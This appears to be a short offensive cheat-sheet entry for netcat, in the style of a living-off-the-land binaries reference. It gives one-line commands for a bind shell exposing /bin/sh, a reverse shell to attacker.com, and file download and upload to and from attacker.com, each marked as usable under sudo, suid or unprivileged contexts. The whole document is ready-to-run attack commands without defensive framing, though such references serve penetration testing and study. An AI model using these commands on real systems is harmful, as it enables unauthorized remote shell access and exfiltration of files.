nc

Bind Shell

Context: sudo, suid, unprivileged

nc -l -p 12345 -e /bin/sh

Download

Context: sudo, suid, unprivileged

nc -l -p 12345 >/path/to/output-file

Context: sudo, suid, unprivileged

nc attacker.com 12345 >/path/to/output-file

Reverse Shell

Context: sudo, suid, unprivileged

nc -e /bin/sh attacker.com 12345

Upload

Context: sudo, suid, unprivileged

nc -l -p 12345 </path/to/input-file

Context: sudo, suid, unprivileged

nc attacker.com 12345 </path/to/input-file